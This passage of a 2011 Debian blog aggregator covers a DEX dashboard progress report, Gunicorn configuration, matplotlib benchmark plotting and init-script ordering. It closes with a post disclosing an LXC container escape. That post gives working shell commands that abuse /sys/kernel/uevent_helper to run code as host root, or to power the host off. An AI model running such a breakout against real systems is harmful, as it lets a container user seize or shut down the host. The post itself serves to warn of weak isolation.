to change projects. This ultimately led to me creating standalone dex.html dashboards for each project. These per-project dashboards were identical to the original dex.html, except they did not include the select boxes at the top for changing projects. Eventually, I decided to completely get rid of the original dex.html dashboard. That file now consists of a simple list of links to all of the projects sorted by distribution. Another advantage of this change is that it is much easier to link to a specific project. For example, you might now link to /projects/dex-ubuntu-ancient-patches/dex.html (you can get the URL by simply copying it from the address bar). Another advantage is that you can now link directly to a specific project s graphs (just append #graph). Another feature that I am still working on is per-project documentation. From the start, we wanted to make it easy for new contributors to get involved in DEX. One way we can do this is by having clear documentation about what the project is and how to deal with tasks. I decided that the easiest approach would be to have this documentation live on the wiki. This allows users to use the familiar wiki markup language to format their text, and it gives us all of the other benefits a wiki provides. Documentation will live at /DEX/<distribution>/ <project>. The dashboard will then take care of pulling in this documentation and displaying it at the top of the proper page. For a while, I was thinking that it would be necessary to filter the HTML produced by the wiki to prevent malicious code from ending up on the dashboard. However, after playing around for a bit, I think that it should be pretty safe to just use the HTML as-is (if someone spams the wiki, we can always revert the change). I am currently finishing up some of the code to handle this, and it should be live sometime this week (a partially working version is live on wagner). There are also two new checkboxes at the top of each dashboard. These allow users to add completed tasks and/or tasks with completed bugs. This is useful for projects that are close to being complete, as it allows users to quickly view the few remaining tasks. This feature was requested by several people, and I am glad to finally be able to implement it for them. There is also a second graph on each page. This graph is a bar graph that shows the number of tasks each person has completed. It gets the people from the assignee column for the project, and it only counts tasks with a status of Complete . The graph is updated whenever the getbugs.py script runs to update the task listing (currently every 10 minutes). The bars are sorted from tallest to shortest. The idea behind this graph is to recognize the people working on a project. The form processing script has not worked on wagner. This was mainly due to a permission issue. Thanks to a hint from Rapha l Hertzog, I was able to use setfacl to fix this. The form can now be submitted, and it should successfully save all changes made via the web form. This involved some updates to support the per-project dex.html files. The form processing script will also ignore any status that is not complete , in progress , or incomplete , which prevents people from messing up the dashboard by submitting invalid information. Finally, the script will now try to use the HTTP_REFERER header to send the user back to the correct page. If this header is not set, the user will be sent back to the main dex.html index page. Sorting the table has been partially broken since I started including text inputs. I finally got this issue resolved, and I should now be able to sort by text inputs, select boxes, or anything else I might end up including in the table. You can test this by clicking on any header in the table. I will probably add a tiny image to make it more clear which header is being used to sort the table. By default, it is sorted based on the status and then the task name. The status column now has a select box for setting the status. Since the row coloring is done via javascript, the minute you change the status in the select box, the row color will change to reflect the new status. Keep in mind, for the time being, any change you make via the web form will be lost if you do not hit the Submit button at the top of the form. That covers most of the dashboard changes that have taken place since my last report. However, there were also some other changes that are worth noting. Matt Zimmerman, my original mentor, settled down from his traveling and resumed serving as my mentor for the project. I would like to thank Stefano Zacchiroli for all of his help this summer. I look forward to working with him more in the future. I have also started using the issue tracker feature on alioth for dextools. Right now, it is mainly being used to help me keep track of bugs and features that I need to deal with. I am hoping that as dextools starts to be used by more people that they will also help report issues on the tracker. This issue tracker is a good source of information for people interested in knowing what I will be working on in the future. I will briefly talk about some of the more important features that I will be working on. The first issue is one that I have already touched upon in this report. I want to sort out the per-project documentation. This is rather important, as it will most likely be utilized by all projects using the dashboard. It is also essential if we are to get new contributors involved in DEX projects. Second, I want to setup some method for backing up the projects/ directory on wagner. This directory is not maintained in the git repository, and it contains all of the information submitted via the web form and generated by the scripts. My current plan is to have this directory maintained in its own VCS. Every time getbugs.py runs or the form is submitted, a new commit will be made. This will allow us to easily revert any changes (spam) made to the dashboard. Since we do not foresee the dashboard being the target of much abuse, any user will be able to modify data via the web form. I also want to add the ability for users to create new projects and task via the web. I envision this as a separate form where they enter the distribution name, project name, a list of BTS bug numbers, and a list of any additional tasks. The script will then take care of applying the necessary usertag to the bugs and/or creating a tasks file in the projects directory for the non-bts tasks. Doing this will make starting a new project trivial, and will eliminate the need for VCS access to create projects that do not utilize BTS bugs. Finally, I want to eliminate the need for the user to hit the Submit button to save their changes. Any change the user makes should be submitted and saved instantly using AJAX. This will also help eliminate some confusion that was caused by the row color instantly changing when the status is changed. Some users thought that the color change meant that the change was saved when it really was not. Matt asked me the other day what features I think need to get added before the dashboard is really ready for public use. While the features and issues I mentioned above will help make the dashboard easier to use, the dashboard is still perfectly usable without them. There are only a few more weeks left in the Google Summer of Code 2011. By that time, all of these features and bugs should be sorted out, and we should be able to properly announce the dashboard and make it available for use on all DEX projects. That does not mean that the dashboard will be done . Instead, it will probably result in many new bugs and feature requests being submitted. However, at that point, I will make a very strong effort to keep the dashboard stable and to prevent data loss. I am looking forward to the finally finishing up this project and seeing it used by the DEX team. As always, if you are interested in helping out with DEX or dextools, my code is available in a git repository on alioth. There is also the new issue tracker where you can report bugs and request new features. Finally, you can join the debian-derivatives mailing list, join #debian-derivatives on OFTC, or contact me directly via email or on IRC (nhandler).</project></distribution>

Bernhard R. Link: About feature branches for patch handling and reverting to old states.

Now that the debconf videos are available (big THANKS to the video team), I was able to watch the talk about packages in git at Debconf11 and wanted to share some insights:

31 July 2011

Chris Lamb: Sysadmin-friendly deployment of Gunicorn in Debian

Over the last 18 months Gunicorn has replaced mod_wsgi as the de facto container for deploying Django projects. However, whilst it was first uploaded to Debian in April 2010, it was not particularly sysadmin friendly. In particular, it required custom initscripts (or some other mechanism) to manage each Gunicorn instance. To improve that, you can now place multiple configuration files inside /etc/gunicorn.d:
# /etc/gunicorn.d/django.example: defaults are commented out
CONFIG =  
    'mode': 'django',
    'environment':  
        'PYTHONPATH': '/path/to/custom/python/packages',
     ,
    # 'working_dir': '/',
    # 'user': 'www-data',
    # 'group': 'www-data',
    'args': (
        # '--bind=127.0.0.1:8000',
        '--workers=4',
        # '--worker-class=egg:gunicorn#sync',
        # '--timeout=30',
       'settings',
    ),
 
All instances can then be restarted using:
$ /etc/init.d/gunicorn restart
Stopping Gunicorn workers: [example] [site_a] [site_b].
Starting Gunicorn workers: [example] [site_a] [site_b].
Sites using plain WSGI can use the wsgi mode - see /etc/gunicorn.d/wsgi.example.

30 July 2011

Vincent Bernat: Plot benchmark results with matplotlib

In the past week, I ran a lot of benchmarks using a Spirent Avalanche which is an appliance providing performance testing of network related products (a load balancer, a router, a web server, ). The reporting module does not provide a lot of flexibility and the plots are not the most beautiful ones. Fortunately, the results are also exported as CSV. matplotlib is a python plotting library which produces great figures without making things hard when they should be easy. It is a good replacement for GNU Plot and you don t need a lot of Python knowledge to use it. The documentation includes a fine user s guide that should get you started in less than 20 minutes.

Quick introduction You can use matplotlib from IPython to experiment:
$ ipython -pylab
Python 2.6.7 (r267:88850, Jul 10 2011, 08:11:54) 
Type "copyright", "credits" or "license" for more information.
  Welcome to pylab, a matplotlib-based Python environment.
  For more information, type 'help(pylab)'.
> In [1]: plot([1,1,4,5,10,11])
When you are ready, you can build a simple Python script:
#!/usr/bin/env python
from matplotlib.pylab import *
plot([1,1,4,5,10,11])
savefig("my-plot.pdf")

Grabbing results from CSV Data are contained into a file named realtime.csv. It contains the raw data as well as some general information about the benchmark (test name, description, paramaters ). We need to skip those. Fortunately, csv2rec() allows to load data from a CSV file into a record array and skip the first rows if necessary.
from matplotlib.pylab import *
import sys, os
import gzip
skip = 0
for line in gzip.open(sys.argv[1]):
    if line.startswith("Seconds Elapsed,"):
        break
    skip = skip + 1
ava = csv2rec(gzip.open(sys.argv[1]),skiprows=skip)
Now, the Elapsed seconds column can be accessed with ava['elapsed_seconds'].

General structure I need 4 plots:
  • successful, unsuccesful and attempted transactions per second,
  • minimum, average and maximum response time per page,
  • Avalanche CPU usage,
  • incoming and outgoing bandwidth.
The most important plot is the first one. The second one is less important and the last ones are here only to check we did not hit some bottleneck during the benchmark. We want to produce a page like this: General structure matplotlib allows to plot subfigures. We create 4 subfigures sharing the same X axis (which the number of seconds elapsed since the beginning of the benchmark). We save the result to PDF.
# Create the figure (A4 format)
figure(num=None, figsize=(8.27, 11.69), dpi=100)
ax1 = subplot2grid((4, 2), (0, 0), rowspan=2, colspan=2)
# [...]
ax2 = subplot2grid((4, 2), (2, 0), colspan=2, sharex=ax1)
# [...]
ax3 = subplot2grid((4, 2), (3, 0), sharex=ax1)
# [...]
ax4 = subplot2grid((4, 2), (3, 1), sharex=ax1)
# [...]
# Save to PDF
savefig("%s.pdf" % TITLE)

Bandwidth plot Let s start with the easiest plot: bandwidth usage.
# Plot 4: Bandwidth
ax4 = subplot2grid((4, 2), (3, 1), sharex=ax1)
plot(ava['seconds_elapsed'], ava['incoming_traffic_kbps']/1000.,
     'b-', label='Incoming traffic')
plot(ava['seconds_elapsed'], -ava['outgoing_traffic_kbps']/1000.,
     'r-', label='Outgoing traffic')
grid(True, which="both", linestyle="dotted")
ylabel("Mbps", fontsize=7)
xticks(fontsize=7)
yticks(fontsize=7)
Here, in the suplot positioned in (3,1), we plot the number of seconds elapsed versus the incoming traffic with a blue line (b-). We also plot the seconds elapsed versus the outgoing traffic with a red line (r-). Here is the result: Bandwidth plot Most functions of matplotlib are exposed as a method of the object they refer to and as a global function. In the latest case, the function is applied to the latest created figure or plotting area. For example, plot() is called a function and therefore refer to the plotting area ax4. We could have written ax4.plot() instead.

CPU plot The average CPU utilization data available in the CSV file needs to be normalized. We assume the Avalanche to be mostly idle on start. The plotting part is pretty similar to our previous case.
# CPU
max = np.max(ava['average_cpu_utilization'])
order = 10**np.floor(np.log10(max))
max = np.ceil(max/order)*order
cpu = (max - ava['average_cpu_utilization'])*100/max
# Plot 3: CPU
ax3 = subplot2grid((4, 2), (3, 0), sharex=ax1)
plot(ava['seconds_elapsed'],
     cpu,
     'r-', label="Avalanche CPU")
grid(True, which="both", linestyle="dotted")
ylabel("Avalanche CPU%", fontsize=7)
xticks(fontsize=7)
yticks(fontsize=7)

Response time We would like to plot response time. We have three corresponding metrics: minimum response time, average response time, maximum response time. Because those metrics start from 0 ms up to several seconds, a logarithmic scale is used:
# Plot 2: response time
ax2 = subplot2grid((4, 2), (2, 0), colspan=2, sharex=ax1)
plot(ava['seconds_elapsed'], ava['minimum_response_time_per_page_msec'],
     'b-', label="Minimum response time")
plot(ava['seconds_elapsed'], ava['maximum_response_time_per_page_msec'],
     'r-', label="Maximum response time")
plot(ava['seconds_elapsed'], ava['average_response_time_per_page_msec'],
     'g-', linewidth=2, label="Average response time")
legend(loc='upper left', fancybox=True, shadow=True, prop=dict(size=8))
grid(True, which="major", linestyle="dotted")
yscale("log")
ylabel("Response time (msec)", fontsize=9)
xticks(fontsize=9)
yticks(fontsize=9)
This is also the first graphic with a legend. Response time plot

Transactions per second The most important plot is the number of transactions per second.
# Plot 1: TPS
ax1 = subplot2grid((4, 2), (0, 0), rowspan=2, colspan=2)
plot(ava['seconds_elapsed'], ava['desired_load_transactionssec'],
     '-', color='0.7', label="Desired Load")
plot(ava['seconds_elapsed'], ava['successful_transactionssecond'],
     'g:', label="Successful")
plot(ava['seconds_elapsed'], smooth(ava['successful_transactionssecond']),
     'g-', linewidth=2)
plot(ava['seconds_elapsed'], ava['attempted_transactionssecond'],
     'b-', label="Attempted")
plot(ava['seconds_elapsed'], ava['aborted_transactionssecond'],
     'k-', label="Aborted")
plot(ava['seconds_elapsed'][:-1], ava['unsuccessful_transactionssecond'][:-1],
     'r-', label="Unsuccessful")
legend(loc='upper left', fancybox=True, shadow=True, prop=dict(size=10))
grid(True, which="both", linestyle="dotted")
ylabel("Transactions/s")
The number of successful transactions is plotted twice: when the benchmarked equipment becomes overloaded, we get a lot of noise in this metric and it can be difficult to read. Therefore, we plot a smoothed version with the help of NumPy:
import numpy as np
def smooth(x, win=4):
    s = np.r_[x[win-1:0:-1],x,x[-1:-win:-1]]
    w = np.ones(win, 'd')
    y = np.convolve(w/w.sum(),s,mode='valid')
    return y[(win-1)/2:-(win-1)/2]
np.r_() is just here to extend our data by the size of the window. np.ones() build a weight vector of the size of the window. If the window is 4, we get [0.25, 0.25, 0.25, 0.25]. We use this vector to apply a convolution to the original data. Here is the result: Transactions plot The original data is a green dotted line while the smoothed one is a green thick line. What about the three annotations? matplotlib allows to put annotations on a figure. Here is how this is done:
# Noticeable points
count = 0
def highlight(index, reason):
    global count
    if index and index > 0:
        x,y = (ava['seconds_elapsed'][index],
               smooth(ava['successful_transactionssecond'])[index])
        plot([x], [y], 'ko')
        annotate('%d TPS\n(%s)' % (y,reason), xy=(x,y),
                 xytext=(20, -(count+4.7)*22), textcoords='axes points',
                 arrowprops=dict(arrowstyle="-",
                 connectionstyle="angle,angleA=0,angleB=80,rad=10"),
                 horizontalalignment='left',
                 verticalalignment='bottom',
                 fontsize=8)
        count = count + 1
highlight(np.argmax(smooth(ava['successful_transactionssecond'])), "Max TPS")
highlight(np.argmax(cpu > 99), "CPU>99%")
highlight(np.argmax(ava['average_response_time_per_page_msec'] > 500), ">500ms")
highlight(np.argmax(ava['average_response_time_per_page_msec'] > 100), ">100ms")
np.argmax() returns the index of the first maximum value. The trick here is that when I write ava['average_response_time_per_page_msec'] > 100, I get an array with 1 when the value is more than 100 and 0 otherwise. Therefore, np.argmax() will return the first index where the value is superior to 100 ms. The highlight() function will add a point (plot([x], [y], 'ko')) on the smoothed successful transactions par second plot and add an annotation with some fancy arrow. Look at this benchmark of nginx as SSL termination for a complete output of this script.

Petter Reinholdtsen: What should start from /etc/rcS.d/ in Debian? - almost nothing

In the Debian boot system, several packages include scripts that are started from /etc/rcS.d/. In fact, there is a bite more of them than make sense, and this causes a few problems. What kind of problems, you might ask. There are at least two problems. The first is that it is not possible to recover a machine after switching to runlevel 1. One need to actually reboot to get the machine back to the expected state. The other is that single user boot will sometimes run into problems because some of the subsystems are activated before the root login is presented, causing problems when trying to recover a machine from a problem in that subsystem. A minor additional point is that moving more scripts out of rcS.d/ and into the other rc#.d/ directories will increase the amount of scripts that can run in parallel during boot, and thus decrease the boot time. So, which scripts should start from rcS.d/. In short, only the scripts that _have_ to execute before the root login prompt is presented during a single user boot should go there. Everything else should go into the numeric runlevels. This means things like lm-sensors, fuse and x11-common should not run from rcS.d, but from the numeric runlevels. Today in Debian, there are around 115 init.d scripts that are started from rcS.d/, and most of them should be moved out. Do your package have one of them? Please help us make single user and runlevel 1 better by moving it. Scripts setting up the screen, keyboard, system partitions etc. should still be started from rcS.d/, but there is for example no need to have the network enabled before the single user login prompt is presented. As always, things are not so easy to fix as they sound. To keep Debian systems working while scripts migrate and during upgrades, the scripts need to be moved from rcS.d/ to rc2.d/ in reverse dependency order, ie the scripts that nothing in rcS.d/ depend on can be moved, and the next ones can only be moved when their dependencies have been moved first. This migration must be done sequentially while we ensure that the package system upgrade packages in the right order to keep the system state correct. This will require some coordination when it comes to network related packages, but most of the packages with scripts that should migrate do not have anything in rcS.d/ depending on them. Some packages have already been updated, like the sudo package, while others are still left to do. I wish I had time to work on this myself, but real live constrains make it unlikely that I will find time to push this forward.

Marco d'Itri: Evading from linux containers

For the past few years, the Linux Containers project has been developing some kernel technologies which provide isolation, accounting and management for kernel resources. When completed, together they will allow implementing lightweight virtualization of the operating system like is currently possible with OpenVZ. It is very important to understand that not all the pieces are ready yet, so currently a LXC container does not provide the same security of other virtualization technologies. This example shows how the root user of a container can easily run code as root in the host system, since sysfs does not support namespaces:
lxc$ cat <<END > /tmp/evil-helper
#!/bin/sh
echo 'hi!' >> /tmp/evil-helper.log
END
lxc$ chmod +x /tmp/evil-helper
lxc# mkdir /sys
lxc# mount -t sysfs sysfs /sys
lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper > /sys/kernel/uevent_helper
lxc# echo change > /sys/class/mem/null/uevent
The last command will trigger a uevent, which will be processed by running in the host our script created inside the container. Or else:
inside# echo /sbin/poweroff > /sys/kernel/uevent_helper
Because of this, LXC containers are vulnerable to a malicious root user and are not really a replacement for OpenVZ. This will change when support for labelling files with user namespaces will be completed.

Next.

Previous.